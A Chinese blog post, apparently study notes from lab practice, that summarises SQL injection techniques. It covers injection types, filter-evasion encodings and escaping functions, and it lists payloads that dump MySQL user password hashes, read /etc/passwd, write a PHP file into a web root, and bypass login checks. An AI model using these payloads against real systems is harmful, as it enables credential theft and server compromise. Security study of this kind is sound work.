前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入笔记总结

SQL注入笔记总结

作者头像
网络安全自修室
发布2020-08-31 16:05:35
7790
发布2020-08-31 16:05:35
举报
文章被收录于专栏:网络安全自修室

在不断实践中经常遇到如下注入类型,总结了一些笔记

注入类型总结

注入类型

条件

关键

union注入

显示查询结果

order by , union select

布尔注入

只返回False或者True

length、ord函数、二分法

报错注入

返回错误信息

updatexml、group_concat等函数

时间盲注

无返回信息判断可执行sleep

sleep、if等函数

宽字节注入

数据库为GBK编码、使用了addslashes函数转义

%df'可以吃掉单引号

堆叠注入

执行多条查询语句

使用分号分隔多条查询语句

Cookie注入

在请求头中cookie参数异常

可用 sqlmap -r cook.txt - p 参数

base64注入

有base64编码过的参数

将payload进行base64编码,可用tamper

XFF注入

PHP中有getenv函数获取环境配置

x-forward-for、http_client_ip等请求头参数

二次注入

用户注册功能等

在注册中插入恶意代码,在登录中执行

绕过方式总结

绕过方式

绕过技巧

大小写绕过

关键字未过滤大小写混写的情况,如UniON SEleCt

双写绕过

关键字仅做替换的情况,可双写替换成需要的语句。如seleselectct替换为select

编码绕过

未对编码过滤,可进行url、ascil等常用的编码payload

内联注释绕过

/!and/

反注入函数总结

函数名称

作用

addslashes($string)

用反斜线引用字符串中的特殊字符' " \

mysql_escape_string($string)

用反斜杠转义字符串中的特殊字符,用于mysql_query()查询

mysql_real_escape_string($string)

转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集,需要保证当前是连接状态才能用该函数,否则会报警告。不转义%与_

注入常用函数总结

函数名称

作用

group_concat

可以把查询的内容组合成一个字符串

load_file(file name )

读取文件并将文件按字符串返回

left(string,length)

返回最左边指定的字符数:left(database(),1)>’s’ (猜名字)

length()

判断长度length(database()>5

substr(a,b,c)

从字符串a中截取 b到c长度

ascii()

将某个字符转为ascii值ascii(substr(user(),1,1))=101#

mid(a,b,c)

从字符串a中截取 b到c位置(可以用来猜数据库名 )

常查询变量

变量

返回结果

database

数据库名

version

数据库版本号

user

数据库当前用户名

@@basedir

数据库安装路径

@@version_compile_os

数据库操作系统

注入常用命令

  • 查看当前用户

union select 1,(select user())–+

  • 查看数据库版本

union select 1,(select version())–+

  • 查看当前数据库名

union select 1,(select database())–+

  • 查看操作系统

union select 1,(select @@version_compile_os)–+

  • 所有用户

union select 1,(select group_concat(user) from mysql.user)–+

  • 用户hash

union select 1,(select group_concat(password) from mysql.user where user=’root’)

  • 查看所有数据库名

union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+

  • 查看某一个库的全部表

union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=’库名’)–+ union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=’库名’

  • 查看某个表的字段名

union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=’表名’)–+

  • 查看某个库中某个表的字段名

union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ and table_schema=’库名’)–+

  • 读文件

union select 1,(SELECT load_file(‘/etc/passwd’))–+

  • 写文件

union select 1,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

绕过登录验证

  • admin’ –
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–

特定符号绕过

符号名

绕过方法

空格

%09 %0a %A0 %20 /**/

注释符

-- - /* .... */ # ` ;%00 %23

union

uniounionn UNioN uni/**/on /!union/

select

selecselectt SeCel/**/t /!select/

or

oorr OR o/**/r /!or/

and

&& anandd ANd an/**/d /!and/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 注入类型总结
  • 绕过方式总结
  • 反注入函数总结
  • 注入常用函数总结
  • 常查询变量
  • 注入常用命令
  • 绕过登录验证
  • 特定符号绕过
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档